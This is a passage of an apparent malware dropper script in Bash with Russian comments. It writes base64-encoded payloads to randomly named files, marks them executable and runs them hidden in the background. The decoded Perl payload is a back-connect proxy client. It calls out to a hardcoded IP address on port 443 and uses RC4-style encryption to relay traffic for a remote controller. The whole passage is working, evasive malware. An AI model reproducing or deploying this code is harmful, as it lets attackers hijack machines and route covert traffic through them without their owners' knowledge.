IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #15 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #15 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 16 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg 